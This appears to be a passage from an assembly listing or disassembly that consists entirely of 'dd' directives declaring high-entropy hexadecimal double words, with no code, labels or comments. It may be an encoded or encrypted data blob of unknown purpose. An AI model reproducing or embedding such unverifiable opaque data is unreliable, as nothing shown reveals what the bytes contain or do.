0EC9CE0F1h, 2185E74Bh dd 0CBB6DBAAh, 4564F5E9h, 0A4BCA3B6h, 9D41F345h, 96001065h dd 0B11393BBh, 63C14120h, 8BECCD71h, 451B97D9h, 0B0DB9C04h dd 981682Bh, 96BC863h, 6F784860h, 9B1FF3Ch, 5986B337h dd 254B1F4h, 658288A8h, 6D901A32h, 4DDDAC8Bh, 0F8F2C32Dh dd 236194E0h, 0BFDBA601h, 4B01138Fh, 0C88F9A6Bh, 0F0B9C71Dh dd 0B5AEF67Dh, 31124607h, 1D6401E7h, 2561D1E0h, 355C4CB7h dd 0E8100871h, 4B043686h, 54117C2Dh, 33A3E5A8h, 14233E84h dd 8497E27h, 51250959h, 0D75327BDh, 30859D04h, 0A4BD3BABh dd 2551E6C1h, 0B2C0DE5Eh, 6FB05F22h, 0D32FF902h, 0DE602618h dd 0CD7D400Eh, 0FC01786Ch, 184D88FDh, 0DBD4AB50h, 5C0C08F6h dd 5918A0F3h, 0B90EA98Ch, 7C85E62Ch, 0E38152C0h, 52AAB3A7h dd 11CDF309h, 0F7DB3F27h, 0F3E88680h, 8D2F9509h, 4229BA2Fh dd 0BDA17AABh, 1459245Bh, 62271D36h, 0D9736282h, 146C2356h dd 96E31274h, 26A7B30Eh, 111BB7FCh, 8C1FC75h, 7A91983Ah dd 0C06E0005h, 5FFE4F5Ah, 4A5B9796h, 1278B78h, 0ED0B85D6h dd 3AA449C6h, 0ED18D1Dh, 0BB028B46h, 4C78584Eh, 5769AC56h dd 8E9049D1h, 9A59F8C9h, 70A5DBEBh, 0FD014895h, 8870BFFCh dd 252B7EF9h, 916FEBA4h, 0CDC76600h, 12398D31h, 0E48B6DBDh dd 3B23601Ch, 0B9570286h, 326C5F6Eh, 420336D9h, 0E05A7035h dd 0FDFAD0B8h, 0E6E9B844h, 0AEC28312h, 0C2E095F6h, 1D0B5429h dd 0DE05BC79h, 0AF0847F2h, 6C8BDF00h, 0DCE4F5BEh, 0FFC4374Ah dd 33B8DFE9h, 5EA66C00h, 57DD60E4h, 98ED90F6h, 7A56BF44h dd 2D298D85h, 5068CAAAh, 0AE4A7066h, 5F0BEDCCh, 0B8752BDh dd 62E1B9BEh, 9BF67B6Ah, 589D82F0h, 0D6715B19h, 0A26A5152h dd 0BC1F9330h, 5D92CD04h, 0D3762ABh, 0B0140F20h, 124D008Ah dd 0D3959886h, 3558DDDEh, 8C6804EFh, 35AB7D20h, 6F590723h dd 5348F0C6h, 115B3772h, 0E09252FEh, 92C49657h, 3F29193Dh dd 0AB256F6Eh, 1495D766h, 413845B5h, 21F6D34h, 41D78650h dd 955F78F3h, 0B12831F7h, 0F277956Bh, 8E7E0020h, 20DEEC21h dd 1F95392Ch, 0C403D34Ch, 9FBF4DB9h, 0ECD0D3B0h, 0DB76DB34h dd 0C0DE9EEBh, 54019261h, 0E50C04F5h, 0C2307D3Eh, 38FD1131h dd 7964D4h, 9AFF3A95h, 0B406547Ch, 0F6877F2Fh, 0EABDC544h dd 0DA6A4BE1h, 0C017C83Dh, 8596DF3Ah, 54117995h, 148A2948h dd 12D11CCCh, 0E4B72C61h, 0B99F92Ch, 695C0B7Dh, 9E3F6571h dd 0D97FC3CDh, 201498CBh, 97F704C2h, 90F19D2Bh, 0F9BD2922h dd 0D8A8185Ah, 0A061A6B5h, 56FE9D5h, 0EB614CD8h, 653CFCD0h dd 8AECC6D9h, 0C48AA292h, 8AFE8C0Fh, 407101DEh, 0F9B438B5h dd 171B73Bh, 0A5D704DAh, 52BD8E9h, 0ADC18B86h, 0ECBB8FAh dd 86D70FB1h, 9C3E22A1h, 85F36A2Ch, 0F6458C4Fh, 21A96607h dd 0A570EFB5h, 87B8D15h, 0CE8DDE0h, 1FCAED80h, 7F51AFB0h dd 2FDAB74Eh, 618D0112h, 0A95BD34Eh, 0B5D5F5h, 42821491h dd 0D25C5090h, 0B1465240h, 911D0EBCh, 96890BD5h, 57491F5Ch dd 7F807971h, 7417D3BCh, 0D3FA9FA6h, 0D074F397h, 4C091612h dd 0FD086667h, 80EE2091h, 49D7810Ch, 0C25F3E0Dh, 181211F4h dd 5D2FAB58h, 9610DF01h, 0D154BBFh, 5C6090h, 0D9DE77EAh dd 0CC25E4h, 0F1844AEEh, 0B1E53AFBh, 8A5E0804h, 0BEAC61EAh dd 0DFE7BF02h, 0C35647A7h, 8E9B9097h, 1BB75580h, 31988CA9h dd 67226925h, 601AE4BCh, 0AAD0ED0h, 2132AAB3h, 0C9401D8Bh dd 0BDD557CCh, 0A5D909B3h, 0B381D959h, 0B8F0FDEh, 5886E2Ch dd 0CE31BB8Fh, 59B976A3h, 0A86FFDD2h, 0D6320971h, 0BA0934DAh dd 0FF5B9960h, 0BC76D159h, 231497CDh, 0E4DE8A5Eh, 0BD3337C0h dd 0DBA931DDh, 454A2002h, 0BF1E90F2h, 4C169BCDh, 0C8F9004h dd 6450852h, 4FE466A5h, 81E5DB90h, 231D4676h, 0C8042733h dd 0FB5D065Fh, 9059B98Ch, 0B03E0295h, 37AE68F4h, 0AD9361E0h dd 146423h, 0DA72F0BBh, 904BE92Ch, 1B104D8Eh, 0F2C44612h dd 377776D3h, 0AAF86571h, 6A6A53DDh, 27C95A02h, 64385721h dd 0AECA7C12h, 5A691BB0h, 0E457AC15h, 0CA801E9h, 0E2E03A00h dd 0ED8EF2ABh, 7E09978Bh, 1221BF7Dh, 0DB67AE41h, 912FBF70h dd 7EF89562h, 4F20B925h, 173405Ah, 1707C52Bh, 6375EC46h dd 0C4045695h, 5F09287Dh dd 30088573h, 9D030701h, 6049A881h, 255DDE47h, 0C4C70E6h dd 0E47CD70Ah, 9912B971h, 323FA3BFh, 5CF55108h, 0E353128Dh dd 0A2F85B87h, 44572A25h, 0AC92012h, 0B339C19Dh, 0E80BE46Ch dd 0A3D53E91h, 8911BFCCh, 0EB2A7628h, 3CB09242h, 728055F5h dd 899D01D1h, 19FF7295h, 0E30D698Dh, 0FBA72EBFh, 0EEEC5100h dd 7B2BAFAAh, 0CB71D600h, 3C5372D7h, 5B751774h, 1C3DACFCh dd 44174E49h, 95398CAFh, 0B76B2962h, 7A35C7Ah, 4BE19D0Bh dd 249575Ch, 7550A612h, 8280706Eh, 9FC81FF5h, 0B662B470h dd 0ADC94A8Bh, 0E2B04A87h, 5957D90Fh, 0B464A5D3h, 823A4C45h dd 0B45C1309h, 29300553h, 4A2BED9Dh, 32709593h, 53D6D84Eh dd 0EFE95540h, 512A0109h, 0E0BA5623h, 7EA56662h, 90DE5C00h dd 0B46B4319h, 0C8AE8C2h, 58E9E2FEh, 5B4B616Ch, 4172E398h dd 40D7FE8Fh, 97A4B7F5h, 0FC8A9818h, 11E7B912h, 2BA546D1h dd 5B33E62Ah, 4B02B76Ah, 5A09BF67h, 40981663h, 5FD5FC41h dd 7EB82583h, 99F6FCFCh, 98261C17h, 0EC3AC9EFh, 884B01E7h dd 0EC614120h, 1B7B001Eh, 0CA63D6EDh, 1F503AB5h, 6294BAF8h dd 0B9AB8E44h, 0CFADD323h, 0D6D36D80h, 0A65A9FB9h, 2EFDC6A9h dd 0DD8A6F60h, 0A57205C9h, 0EF3AC63Ch, 95C5BE0Ah, 12CBD6B1h dd 9B880DCCh, 8FB8F0AFh, 3DBA850Bh, 2D0AFF3Bh, 0E71088Ch dd 0C73B6625h, 19F2D374h, 73B7BBE4h, 9D927846h, 90A16802h dd 6311EC62h, 0DD0D9F8Dh, 0E62AD9DDh, 0CB842953h, 6BC36525h dd 83B35EF0h, 0D44B78h, 56699C11h, 24F9B501h, 14BB97C2h dd 518A5CD6h, 2DC41625h, 48542B71h, 850FE950h, 1881834h dd 9E13FFFh, 0AC0D7996h, 291DE2AAh, 0A9703CF3h, 137400F2h dd 32C2BDC1h, 0E7A87709h, 149750FCh, 6FA6E74Fh, 0A0D0B46h dd 8663F0D1h, 7AEFA5B8h, 7A640091h, 76AD636Fh, 0BB600248h dd 8A7501Ch, 0ED25255Ch, 1A77CB4Dh, 956482DAh, 21915523h dd 27C37050h, 5B0883Eh, 2DBD095Fh, 0FC5598AAh, 0A5B651D6h dd 0A564E3E0h, 99957E09h, 1399C148h, 0F52B722Eh, 91AEB5D5h dd 507D8514h, 4C7E20BEh, 0DE09A323h, 70DD2A6Dh, 0CB80121Ch dd 0C67AAB6Bh, 0DDA9AA00h, 0B268EDA6h, 0F04A9377h, 704D7380h dd 9D0F4A75h, 0A8BF6932h, 734F0085h, 0D2434AD7h, 803E3F22h dd 108CCBDBh, 49C30281h, 0E967EAF7h, 6EE1B9F8h, 572A4D20h dd 429A00EDh, 0A208756Bh, 0B200211Ch, 0AB04FED4h, 501D6A4Ch dd 400DC73Fh, 57955F2Dh, 918D3198h, 81A8195Eh, 76D6BB5h dd 0DC8AE976h, 79FD6D52h, 22850023h, 0DF317A8h, 594C802h dd 0D7D88D20h, 95F181Ah, 0BF3E58C8h, 1480B93Dh, 0F4E4E2DBh dd 171136Ch, 0FF06FEB9h, 25E710F9h, 7105D19Dh, 4771AB61h dd 8D1CF4B4h, 0DB900155h, 9779B8C5h, 99ABD8BBh, 9EC10200h dd 0F1986244h, 40A7BCA7h, 1D5EB118h, 0B2A8B01h, 0B75F47F8h dd 808D4CE2h, 803119C5h, 0C1279D33h, 0D4CE5601h, 317A1646h dd 39F29176h, 1067BB0Bh, 502D1A01h, 6A00CC71h, 0CD4CE4FAh dd 0AAE1E865h, 0F185F5Eh, 5A5F8A37h, 0CCEE6595h, 9AA129E0h dd 6B26A1Eh, 0A197A6D3h, 0BE2027A8h, 4C9EFE65h, 1A489290h dd 0A8635B7Eh, 9AC7543Dh, 6F80BF09h, 827B5950h, 32059D09h dd 8AAA5B05h, 9FA6A09Ah, 0C8ED058Dh, 0ECC55174h, 3E0D8001h dd 585AC2D5h, 191719C9h, 10B3A21Ah, 90002375h, 3AF101BFh dd 523C505Ch, 9D898F5Bh, 2BC72CDh, 777D7DAEh, 0A9D6DF05h dd 0C1AB1C96h, 2E3EE2A9h, 0B850522Ch, 0D7120A8h, 5ACA5B4Ah dd 0B7704838h, 767AC3DBh, 3DE9631Bh, 0B1B91A4Bh, 8A022CBCh dd 589F7DBFh, 75625C19h, 40AD56C9h, 35B62B3Ch, 16A50C00h dd 65967F3Dh, 80E94F3Fh, 0F58531FBh, 0DADE074Ah, 0EE444A89h dd 0D05F0201h, 0D284BD3Bh, 0E62DAD30h, 5D149703h, 6F04AB27h dd 0F8EA401Eh, 40B7A88Ch, 48A7F377h, 79B322CDh, 236E654Eh dd 0C1911100h, 0F7D39C13h, 22A29E13h, 18AC5BF9h, 0C1CD048Ch dd 0B9EB67B7h, 0A4A6D797h, 2861B7A1h, 1FD84AB7h, 0C85B95D9h dd 5061BD09h, 0C8965E7Ah, 0A7009155h, 8BA071FDh, 0B857CFh dd 7F480798h, 1451B5CBh, 83D7E200h, 0A54BF50h, 96302E8Ch dd 0B10EDE35h, 3F3174E8h, 370CBFC5h, 0ACF90983h, 0EED6EDA9h dd 0A6AA1034h, 10417D94h, 5560EA2Bh, 0AC33EAE7h, 0D6BB0482h dd 0B82EDC34h, 82B3D2A6h, 59BD2B04h, 0FC6FBF01h, 0B2001623h dd 0CF801D55h, 4D0A97C6h, 0A905DE0Fh, 191B8763h, 0DEFF3284h dd 5B48C07Bh, 3B0FB5C1h, 0B74AEF0Bh, 8EE94F3Bh, 840354ACh dd 0D687F8CBh, 5CEB9225h, 0B1FB2F4Eh, 52BD1D8h, 9EF1B1B5h dd 0AF618474h, 5591D5FCh, 3500A5ACh, 80ACFCB9h, 0F4A341h dd 8DD781DDh, 311A40EBh, 14ED9512h, 57A3E29h, 0E323ABCFh dd 800F1212h, 294D8CAAh, 9DB4B558h, 343B41E7h, 0B28CFF04h dd 0B380002Eh, 47A3DAAFh, 6016372h, 0EB699B99h, 6E3F9698h dd 46E7043Ch, 0ECA8A8BCh, 0CB69BB80h, 17009BEFh, 708C0CCh dd 4415178h, 7E70D902h, 0BDB19CBAh, 5911B125h, 84035C5Fh dd 63C6E795h, 0EF81B8FAh, 0B7A612CDh, 8EB0E243h, 87B91361h dd 0F57405E8h, 878DE90Bh, 5D819A96h, 71492E76h, 60A600E6h dd 0B3FE3D8Fh, 0F1214D00h, 505F676Eh, 0C9B79F96h, 0BDBBD107h dd 0D5F520F2h, 6E40A115h, 0A3A12Dh, 0FE2CCBBh, 29CF815Ah dd 21F29601h, 0BDF58060h, 9FC7C9CCh, 0AD251850h, 6D4DD705h dd 0BD3148E0h, 2F710272h, 0B1F4579Bh, 6C254378h, 5A917302h dd 7CFECF3Ah, 0F352D86Bh, 71B18903h, 0D5742E20h, 246201B3h dd 0DA5C14B1h, 0B257CC73h, 3E007A10h, 0DC27E18Eh, 4B2584Eh dd 5E297CA5h, 0D4BDB805h, 7023C0C7h, 0FE267D8h, 2E760B38h dd 0AD437EEFh, 0C6823135h, 0CAD07CDBh, 54510075h, 0D47DBAC5h dd 4F915E53h, 5DBD4A80h, 0E953F81h, 2E5783BFh, 61515F49h dd 0FFF21324h, 66092FDAh, 716A56BFh, 38AC2F8h, 84005729h dd 0FFF352E9h, 0CB0AA5BFh, 0AF30D5A1h, 0A6215A05h, 28C700A5h dd 0C989770h, 44C6053Eh, 0AD26C0CAh, 8D890BD1h, 559DEA71h dd 58B5530h, 9805288h, 905BD0D7h, 5FE91A75h, 23F9108Bh dd 7216D083h, 538E809Ch, 34646AB8h, 0F255E909h, 0F66A5ED3h dd 9075F35Ah, 0C8E1694h, 83F99B09h, 6A894DCAh, 0C023DB3Fh dd 0B908C243h, 205D9049h, 8C801CF5h, 18762166h, 5C06CC4h dd 1FB873ADh, 4F29FF12h, 230B48ECh, 372599BDh, 50EFC390h dd 0B8E2F9A4h, 0D2C8240Bh, 7258840Ah, 6E8CAB6Ah, 0EAF50002h dd 0DC89777Bh, 0B31E0308h, 5BD7E380h, 7AEB4817h, 0F1A37F4Fh dd 0F6B98FD0h, 5C968227h, 8A7BEB54h, 2707C650h, 1D7CA5D6h dd 11852960h, 2B6EB524h, 6C40D69Eh, 571F497h, 0FF557219h dd 6EDBC2D1h, 32F7615Fh, 25C0CE2Ah, 0F6DADC42h, 5F6E529Fh dd 2FA0E66h, 8A16E4B5h, 0B718C2DCh, 54D46FFh, 0A9751202h dd 0B745DC56h, 7DE9DA12h, 708455E3h, 16233E21h, 0A440FA01h dd 6B2ED88Ah, 0B152351h, 0DAC2CF9Dh, 133C8275h, 272774C9h dd 0D84E7CECh, 85D1D4FCh, 0D216DB5Eh, 0F557A0ABh, 80F98603h dd 25FD8A54h, 0D556B786h, 475F9E4h, 0EB0965B2h, 0E65A288Bh dd 165AA3C6h, 0BFF6AD2h, 9B59AD85h, 0D723090Eh, 0F45937BBh dd 18E90331h, 0B8BB8401h, 0F5B0C962h, 2BF99E02h, 0F870E600h dd 0F7113E4h, 80EFE283h, 42C7652Eh, 9A7F9596h, 0B9EE7FA9h dd 4C84F84Bh, 0D3A8F712h dd 20681CAh, 16FD9D03h, 652B31DFh, 0DCAAD8E7h, 9AC80263h dd 0B0ABF85Fh, 0CB812EC0h, 0C5142A09h, 858723Fh, 1D82443Ch dd 5E51ADh, 9D691579h, 2D0E738Dh, 0C529C3D4h, 329034A5h dd 2BFC82Bh, 7BA26016h, 3F5D18Bh, 0FC094F1Fh, 7FE99F91h dd 0FF2F7A63h, 0E9321E0Eh, 0B4C01286h, 417C9AAh, 0D12CC2B9h dd 1BCE31D5h, 1277F912h, 1DC687h, 892C7495h, 0D914668Bh dd 364F8200h, 75317092h, 0FE6C9516h, 1E47FDECh, 80002C22h dd 2EBF8AF3h, 9578EEEAh, 85847A5Bh, 132421F5h, 0C28B7765h dd 14D534E1h, 0A15920B9h, 0B4420B94h, 0FFB571Ch, 1C05DDC9h dd 0F07EAF0Bh, 48D5FC07h, 2F8E5BBDh, 7B751BC9h, 4075BE6Ah dd 0CA25B915h, 2703BD10h, 0C6856454h, 919456E5h, 5D6D5FFh dd 0BC3EBE11h, 3239120Bh, 166207B6h, 2B001F09h, 12BFBBD2h dd 0E63CA3C7h, 7F6BD21Fh, 8DE3DE17h, 0CD8C024Dh, 5DDA9057h dd 60599D01h, 4583ED49h, 0C753AF17h, 0E80BF287h, 0B71AA12Fh dd 0D0C0D115h, 560A2E4h, 757AAA2Bh, 441EC181h, 2A70C986h dd 17B2FFA6h, 31227130h, 69B6A11Ch, 0F6CB2A0Bh, 8C34AED2h dd 0ACDF34FBh, 5EA6A211h, 352EF66Bh, 4E008363h, 1738DEF4h dd 48909743h, 1B005AE4h, 1A9DA4E2h, 12501CE3h, 56EAAD8Fh dd 803F9E3Bh, 50D51412h, 10F8032Eh, 23CE4960h, 2980E870h dd 1B4525BDh, 0ED6BD759h, 6CF74B59h, 0F9030AE2h, 8B3E1FFh dd 31120785h, 7116AA09h, 49EC392h, 136FEE84h, 0A5CAF30Fh dd 3A7CE3ABh, 0F50DE127h, 858F282Eh, 9574508Ah, 3F278C94h dd 0D04D5304h, 2792DA19h, 91200541h, 4BB99AADh, 806ADB60h dd 57FA8F07h, 84764B3Dh, 0B977FDAFh, 99E62DCh, 8CA4B327h dd 6DBFAA70h, 0D997C0DDh, 67094033h, 72AD6BDAh, 11320BFh dd 237D8180h, 61D80381h, 0A3399709h, 0F5A73052h, 5F4B659Ah dd 0E347FAEh, 0A9D749EBh, 4DC453h, 89BB8DD5h, 7F7CF378h dd 0A2C9F00h, 0F8DFFC92h, 0D989952Bh, 0F2ADD95Dh, 0ABC2B556h dd 33427DFCh, 0EF4A3DEh, 0AF32A042h, 1DD96ABh, 0C13468FCh dd 4A8A4160h, 0CBD1B0DDh, 0CB2DC23Ch, 0D0E0E0B6h, 0EB4BC1B9h dd 572F6AAEh, 0E20C02B7h, 87C4705Fh, 55F9E1F5h, 0E9FC10B8h dd 0C9021927h, 0AE21DEB2h, 0F968CC7Fh, 55D61297h, 47817237h dd 0E8FA6679h, 0F35289A7h, 3D9518E0h, 5ACC80FFh, 59251B33h dd 9E4ABF04h, 0B4B845D1h, 0A5C8B0D2h, 6BDE0541h, 57C88574h dd 613040B1h, 6FA92AE3h, 0A886BD92h, 0ED895BF4h, 5D1BC3Ah dd 859531BEh, 0F460EE0Eh, 492EE3h, 982B1E5Ch, 24BB1240h dd 3D3EA507h, 30997F97h, 25BD89D8h, 0E8C41BFDh, 9FE67A9Fh dd 52F66710h, 77442900h, 56BCD408h, 83CB09ADh, 879B5h dd 0DA642514h, 8F814D00h, 0F77CAB54h, 83D197A1h, 0C07BCD2Dh dd 36E4548Ah, 5C05C92Dh, 0AF341C9Eh, 95C3ED74h, 0F0D54E25h dd 0FB974CEDh, 3F6DD983h, 5D40CF0h, 684618Fh, 19428164h dd 0AE33A12h, 0CF448896h, 0E1D9D500h, 0DB3E9B78h, 39E8021Ch dd 50AF9AB8h, 9F4DE6D5h, 7B02D073h, 8764796Fh, 5010604Dh dd 1CEFBA58h, 0B9716155h, 8D3872DDh, 0C1BCA95Eh, 355BBB66h dd 0E89038AFh, 8202D6AAh, 0EFC83EB6h, 0B8AF60BEh, 0FCF6070Bh dd 0D9E39C43h, 6A82AE89h, 680C228Dh, 0AC8B5A90h, 351A6588h dd 630B29AFh, 0CCA0078h, 0FB044ED0h, 8489004Fh, 0C64472EEh dd 1313CB81h, 0CA163253h, 4100436Fh, 0C660E70Fh, 1627F486h dd 7AD8562Eh, 1408B557h, 4901A5D8h, 3B8546AEh, 0BD3A3010h dd 72225495h, 29BC9964h, 467B3B40h, 77EC1D88h, 0FDD58140h dd 2321E9A7h, 16852E4Dh, 0C235D5A5h, 447617D9h, 0ACA70A00h dd 15BF667Dh, 92ADFF4Eh, 0B0B1AEA4h, 0C231B10Fh, 0F6CF8027h dd 0FC9241F9h, 7A2F8EE5h, 71911748h, 0CF8A2AAAh, 0B8F72732h dd 66851310h, 0E74EB5BEh, 4021CD97h, 77EFD7BEh, 0A43D4D09h dd 25E9D996h, 0A1D0277Fh, 5E748F10h, 0C1C7026Ah, 92938169h dd 50A54975h, 0B98CFD2Bh, 0FE1403DCh, 38600059h, 0D3E78139h dd 414BF288h, 7317FAAh, 6C39F45Fh, 8ADF71E9h, 0C9C7CEB7h dd 0CBE0A218h, 0B185F400h, 0E23BFFA1h, 5A491E84h, 0DEC2A58Eh dd 0F469F65Dh, 20422549h, 0E3811F15h, 0D9B4968h, 46D6885Ch dd 4F100019h, 463C25D4h, 0FA64BD0Bh, 9C972C4h, 4D4AF740h dd 0C69C2CACh, 7DC78269h, 25097A2Fh, 6B731769h, 6B58CC2Bh dd 56E525F4h, 0EF801BE0h, 34AAFA4Ah, 0F5F2BA90h, 0A7B88616h dd 7605B0B6h, 0AA153F70h, 0DD8AEA0Ch, 0F3258048h, 0D05E5458h dd 15F919Dh, 27BD2CE9h, 80FD00E9h, 0F8FC05A8h, 3AD413DEh dd 80F4B896h, 0D342DD3h, 6AD0573h, 0B05BC7B3h, 0E2B840Ch dd 26583A96h, 0B664015Eh, 0D0B2E598h, 0F5272AB4h, 0C6E3A450h dd 0EAF96257h, 145D3069h, 0E9FD800Dh, 0BF159728h, 41C449C0h dd 0B8552E3Fh, 0F527890Ch, 4544BD71h, 0AC2C857h, 16D42A00h dd 729561CEh, 9D729599h, 0D7963625h, 0DC2A4818h, 50651807h dd 0CDF9F98Ah, 1A38C3AEh, 8C726513h, 0B912FAA7h, 599F3710h dd 81E03E5Ch, 294125D3h, 2E1E0BFEh, 0A3844088h, 5D95BF49h dd 769B290h, 2DA00300h, 0BD292AB3h, 0FF45B5D9h, 0DB50105h dd 258056B0h, 43C59ADFh, 86FC5B17h, 0F35607C9h, 29B5555Ah dd 5FA33200h, 988EC8Bh, 0C6B68142h, 5CAD49BDh, 0CD25B89Ch dd 419F2150h, 2D2EF5B0h, 0BDB5041Bh, 0A5E91283h, 6E6F18E1h dd 0EFDD0064h, 2FC9D0BDh, 5F543D23h, 0F8513AF2h, 0E801A9CAh dd 7300429h, 0BB563910h, 5B25CBE2h, 7F642C6h, 4EC137C1h dd 23C4A7EBh, 0F881A04Ch, 2144B590h, 52DE8A25h, 83B7BF3Fh dd 8B606889h, 2A5D7E5h, 0B1DEAA61h, 0ACCCA9Eh, 5C678060h dd 0FE906DDCh, 0F5E4A861h, 1E391830h, 81BE3CBCh, 5EA90512h dd 601374B8h, 0B6E38A0Fh, 6D9AD71Eh, 5D97ACC4h, 0F0307890h dd 0DB26B109h, 38DEF424h, 61265B40h, 1A603E90h, 48795A4h dd 8291402Dh, 0BA30AED7h, 0EBBAC65h, 34B9BD4Eh, 0B736DD40h dd 90125F66h, 0E304FC60h, 0BDBE2349h, 1D97F877h, 46368ECDh dd 7A19FFCFh, 73F9EFA1h, 0FC8A1239h, 845F55E3h, 0AADF9417h dd 1B23FA6Bh, 652D2A07h, 7ABB08F0h, 37B70D3Ch, 0CD86D1FFh dd 46382E22h, 0B509888Bh, 0DF4B1D5Fh, 80693702h, 3164EF0Eh dd 0C8007901h, 0BB9034C0h, 26D64985h, 117E502Eh, 0CC204F1Ah dd 6F5F67h, 56C83F7Eh, 0D1AF3001h, 8B6B7805h, 0B48066A8h dd 165B7420h, 2AFA8A90h, 4E80DEF7h, 454D8FF0h, 93C62517h dd 9B4002D6h, 2669F911h, 2F128129h, 0FF592AFEh, 4BFA624h dd 23BEE216h, 0ABE68560h, 18BA3621h, 6157CA40h, 0E55497F9h dd 87D0B5E9h, 11E86579h, 40AD9215h, 805A128Bh, 4D57DB26h dd 0AD4425h, 722CE70Bh, 4FAD12EAh, 0D77C8B05h, 0ACF690EDh dd 4F8498E0h, 0C1E3F84Ah, 21B58913h, 2EDE8B5Ch, 3BDB8A65h dd 0B8EB4981h, 2F0D304Ch, 13EA5D12h, 0DB0264F2h, 877E075Eh dd 12022441h, 6B4EF557h, 95F046B5h, 0BDF7C0A9h, 1E0D02E5h dd 1BF7076Ah, 60FFC1C1h, 0F8CBB84Ch, 75AD00B0h, 40C57A9Ah dd 104851B9h, 2F8D16F1h, 5A313088h, 0E829BD23h, 4E2C02E3h dd 98460BE8h, 6CC4F95Ch, 2479FE58h, 0F06FB081h, 320015FEh dd 70E66F14h, 12805160h, 0FC5E44C4h, 28AE97A1h, 0A7742155h dd 9409D7ECh, 78615AF8h, 48B2215h, 833141A0h, 2B08A697h dd 0D1E9BF83h, 0F9BE1405h dd 61562F94h, 5B021B40h, 0FC4B98DDh, 0C4FA074Ah, 2088FFB8h dd 3F127CD8h, 28F3C48h, 0C7E6A2Fh, 6B7457A4h, 299D8D61h dd 63119D6Bh, 80F438E4h, 9D6859FCh, 3F88F876h, 0C08350FEh dd 87548BE7h, 8674C19Ah, 0EC370A98h, 0E57F00E2h, 646B534Fh dd 0FD9539EDh, 0B8556A92h, 8015F15Eh, 67B1C82Bh, 0E041268Fh dd 3846ABB6h, 5D58092Fh, 3758AF4Eh, 3A5FDC89h, 1A22ECB2h dd 4E608744h, 7495AE09h, 0F0C7BF82h, 0E840B521h, 69EC8949h dd 942CAB6h, 55710928h, 0E5BB6687h, 45517A19h, 12604227h dd 707C62Ch, 4977BBE3h, 0A794C0FBh, 404C7C46h, 2B510070h dd 61C38B66h, 0F959B5E9h, 0D5161989h, 575CF9BAh, 0E6522244h dd 27513F4Fh, 9F32E682h, 439519E1h, 6E25536Ch, 857773FEh dd 0BA17B223h, 13C2B79Bh, 4057A6F2h, 0ECE78121h, 512E2EAFh dd 4B12F6BAh, 4FF30329h, 0B9284748h, 0E63AE1B5h, 0DA3CF012h dd 0D9F10E32h, 0E8D68485h, 4BAED088h, 7286EAAh, 0EE5ED03Ch dd 95842ED1h, 4811568h, 0F8903DE1h, 0EB006C86h, 0FBC7F4BDh dd 4AC6320h, 9D03A719h, 5FC0F011h, 4ECFC4Ah, 404FB2D2h dd 6D03AEABh, 950920FFh, 90BD84C9h, 10813262h, 0A4856D75h dd 1D8508B2h, 0A45B228h, 4618DF6Ch, 4E520840h, 0EEDE0BBCh dd 47770019h, 9367AF16h, 569733F8h, 4FC6521Ch, 0C188907h dd 95E015BEh, 2BDF4C3h, 0F2D964D7h, 0EA7D70C4h, 0EC9734Bh dd 0ABD34585h, 1C236A6Fh, 63977100h, 280E95D5h, 4838D98h dd 387CC781h, 0AD70BCF5h, 98EF308Eh, 0E117E692h, 0E0D4FCA0h dd 0BDC02507h, 66178BE5h, 0E2EC16B9h, 35FA2507h, 0BF57E818h dd 0D3D72F1h, 495C5D30h, 0A94E3082h, 5979E937h, 8030D685h dd 0E0EEDF8Ah, 0EC2D5495h, 414B2B76h, 4B254BCAh, 40ACEF5Fh dd 0D44A1EEDh, 0BFE1760Bh, 1D9F0243h, 56C6E5h, 12B8010Eh dd 29E37D03h, 45DE4B00h, 8F65667Ah, 20635F68h, 1106AB20h dd 6DF13E0Eh, 0C9038293h, 51715E28h, 20FB140Ch, 56C3EFE4h dd 0E09D9A04h, 7BBCD02Fh, 0B9A5BCA3h, 0B1488092h, 1F2D5EEh dd 4DF79888h, 0CCD876BDh, 0CAC46053h, 48BC19F3h, 2F56E5Ah dd 63F092B6h, 475657FCh, 0F8205A58h, 362409B6h, 48755309h dd 8C2B81E2h, 24B7385Ah, 86A49B0h, 6E715125h, 1DED2D14h dd 0D45A365Ch, 0D907D436h, 0D4D0127Fh, 422830F2h, 396DD51Eh dd 0F11BB869h, 0BF73996h, 598EE60Ah, 19810BCBh, 0E0809671h dd 5A9FBD6Ch, 97571004h, 1A224E39h, 88DC55EFh, 0E2EB5047h dd 0D44C011h, 0B34FA032h, 8168007Ch, 0BFA5828Eh, 0C1252C6Ch dd 9635879h, 5A9C757Eh, 53C0CE6Dh, 0E85F0Ah, 21866D22h dd 8935BB74h, 4DB5D070h, 60186485h, 2F43B888h, 95564FF8h dd 0B0EADE2h, 59859A75h, 0F9A6000Bh, 565F9860h, 140A8F6h dd 79851231h, 0C137BD23h, 25FD8D29h, 7D412D2Fh, 6EA81Ch dd 5ADD3561h, 37422E3Ah, 31AAE14Ah, 3ADABFC9h, 0E9D73AB2h dd 201A870h, 0F08D241h, 8B100383h, 977395F8h, 0F9181759h dd 47B7A112h, 339A81EAh, 1024E9BDh, 4BD1B660h, 0EAF98461h dd 15E2EDA6h, 96D8F7B0h, 1C309097h, 0A88D3CF0h, 3ECCD582h dd 0E8F79D23h, 3CBF5F23h, 30A4B8BCh, 9A108F7h, 97196801h dd 123A0FB1h, 0E6BEF05Dh, 13AE943Dh, 7EFB858Dh, 0D91A01D0h dd 75086E98h, 0F1E88242h, 1620D241h, 0F03AFCFFh, 0CCA95B00h dd 9DB51B2h, 0CC4000Eh, 582E818Ah, 0BE16665Ah, 47E95E07h dd 0E067E64Bh, 2F7BC83h, 3AD99C61h, 5957A42Bh, 85010254h dd 0FB5C207Dh, 65870FE2h, 40D59CEBh, 689F9BB7h, 61728B93h dd 2480D9BDh, 25A538EFh, 0B7C034D5h, 520588B5h, 2CAB5A82h dd 4E1406Dh, 0C253FCBAh, 20EB5BDh, 0BD774AE9h, 0FF0827Ah dd 3382078Bh, 0F5240189h, 75F147C2h, 97762A67h, 330BF360h dd 29BD0109h, 1E9C5530h, 372C6245h, 0BD7C7980h, 0E3019DEFh dd 7B858609h, 6FE8FCB8h, 5239EEACh, 3EC4CFF3h, 0F8DEEA04h dd 23956880h, 0A9977D3Ah, 244FD50Fh, 74FEAE44h, 809DBC3Ch dd 0F8B1CAF7h, 0E43303BDh, 9489BFE7h, 981927F8h, 0F0A7AE1Ch dd 4BF38FD2h, 84ADF95Eh, 0B3527185h, 9D291373h, 0AD3952FAh dd 2C25C4C9h, 4009E844h, 8684E1ADh, 1E7709AAh, 5562E36Ch dd 0DF0C4057h, 60C1BF96h, 0C38B6B30h, 0AA172912h, 